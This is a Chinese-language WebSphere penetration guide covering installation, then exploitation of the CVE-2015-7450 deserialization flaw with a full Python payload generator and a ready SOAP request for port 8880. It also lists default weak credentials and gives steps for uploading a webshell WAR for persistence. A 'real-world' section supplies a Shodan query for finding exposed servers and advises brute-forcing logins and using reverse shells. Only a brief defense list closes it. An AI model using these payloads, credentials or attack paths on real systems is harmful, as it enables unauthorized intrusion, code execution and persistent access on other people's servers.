WebSphere中间件总结
字数 2148 2025-08-07 08:22:09
WebSphere中间件安全渗透指南
一、WebSphere简介
WebSphere是IBM的应用程序和集成软件平台,为SOA(面向服务架构)环境提供软件,实现动态互联的业务流程。它包含所有必要的中间件基础架构(服务器、服务和工具),用于创建、部署、运行和持续监视企业级Web应用程序和跨平台解决方案。
版本信息
- WAS6、WAS7与WAS8差异较大
- 官方说明:版本1.7.4.7及更早版本已被1.8.x和1.9.x取代
- 所有1.8之前版本的用户应升级到1.8.x或1.9.x版本
指纹识别
Server: WebSphere Application Server/7.0
登录页面:
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp
二、WebSphere安装指南
Windows环境安装
1. 下载WebSphere
- 下载地址:
- http://www-01.ibm.com/support/docview.wss?uid=swg27004980
- https://www-01.ibm.com/support/docview.wss?uid=swg27025142
- 需要注册IBM账号
- 需要JDK8支持
- 可能需要代理(V2等)才能下载
2. 安装步骤
- 解压下载的文件
- 双击install.exe安装
- 安装时需保持联网状态
3. 安装WAS(WebSphere Application Server)
- 官网搜索"Websphere Application Server for Developers"并下载
- 解压三个压缩文件到同一目录
- 运行IBM Installation Manager
- 添加存储库(选择解压目录下的.config文件)
- 选择安装软件包,默认选项完成安装
4. 添加Server
- 选择创建应用程序服务器
- 选择高级概要文件创建
- 注意主机名配置为本机计算机名(生产环境配置服务器IP)
- 设置管理员凭据(默认admin/123456)
- 记录默认端口信息
- 完成创建
5. 启动WAS
- 管理员模式运行cmd
- 进入概要文件bin目录:
cd C:\Program Files (x86)\IBM\WebSphere\AppServer\bin - 启动命令:
startServer server1 -profileName AppSrv01 - 停止命令:
stopServer [服务名] - 访问管理控制台:
http://127.0.0.1:9060/ibm/console
Docker环境安装(WebSphere7)
- 搜索镜像:
docker search WebSphere7 - 拉取镜像:
docker pull iscrosales/websphere7(约需10G空间) - 运行容器:
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
三、WebSphere渗透测试
1. Java反序列化漏洞(CVE-2015-7450)
漏洞描述
由于使用Java InvokerTransformer类对数据进行反序列化,Apache Commons Collections可能允许远程攻击者在系统上执行任意代码。通过发送特制数据,攻击者可利用此漏洞执行任意Java代码。
受影响版本
- WebSphere Application Server 8.5和8.5.5(传统和自由)
- 8.0版本
- 7.0版本
漏洞验证
- 漏洞位于SOAP通信端口8880
- 访问8880端口出现XML界面则可能存在漏洞
- 8.5版本和7.0版本界面略有不同
利用步骤
- 生成payload(Python3环境):
import base64
from binascii import unhexlify
command = "touch /tmp/yxc007"
serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
serObj += (chr(len(command)) + command).encode('ascii')
serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
serObjB64 = base64.b64encode(serObj).decode()
print(serObjB64)
- 构造SOAP请求包:
POST / HTTP/1.1
Host: 127.0.0.1:8880
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
SOAPAction: urn:AdminService
Content-Length: 8886
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header ns0:JMXConnectorContext="..." xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0"></SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
<params xsi:type="ns1:[Ljava.lang.Object;">{生成的base64 payload}</params>
<signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
</ns1:invoke>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
- 发送请求后检查执行结果:
docker exec -ti [容器ID] bash
ls /tmp
- 使用现成脚本:
python websphere_rce.py 127.0.0.1:8880 'touch /tmp/success' --proto http
2. 弱口令与后台Getshell
弱口令情况
- 在6.x至7.0版本中,后台登录可能只需输入"admin"作为用户标识,无需密码
- 常见弱口令组合:
- websphere/websphere
- system/manager
- admin/空密码
后台Getshell步骤
- 登录管理控制台(通常为9060或9043端口)
- 导航到"Applications" > "New Application" > "New Enterprise Application"
- 上传包含webshell的WAR包
- 设置应用程序名称,保持默认选项直到完成
- 保存到主配置
- 启动应用程序:Application Types > WebSphere enterprise applications > 选择部署的WAR > Start
四、实战经验
1. 目标识别
- Shodan搜索语法:
"WebSphere" && port="8880" && country="CN" - 常见管理端口:
- 9060/ibm/console/logon.jsp
- 9043/ibm/console/logon.jsp
2. 攻击路径
- 反序列化漏洞利用:通过8880端口直接获取shell,建议使用反弹shell
- 后台弱口令:实战中常见弱口令情况,可尝试爆破
- 后门部署:通过上传WAR包获取持久化访问
3. 注意事项
- 反序列化漏洞利用返回500错误可能是利用成功的标志
- 后台弱口令在实战中非常常见
- 部署WAR包后需要等待一段时间才能生效
- 生产环境中可能存在更严格的访问控制
五、防御建议
- 及时升级到最新版本
- 修改默认凭据,使用强密码策略
- 限制管理控制台的访问IP
- 定期审计系统配置和应用程序
- 监控8880端口的异常请求
- 实施网络分段,限制WebSphere服务器的网络暴露面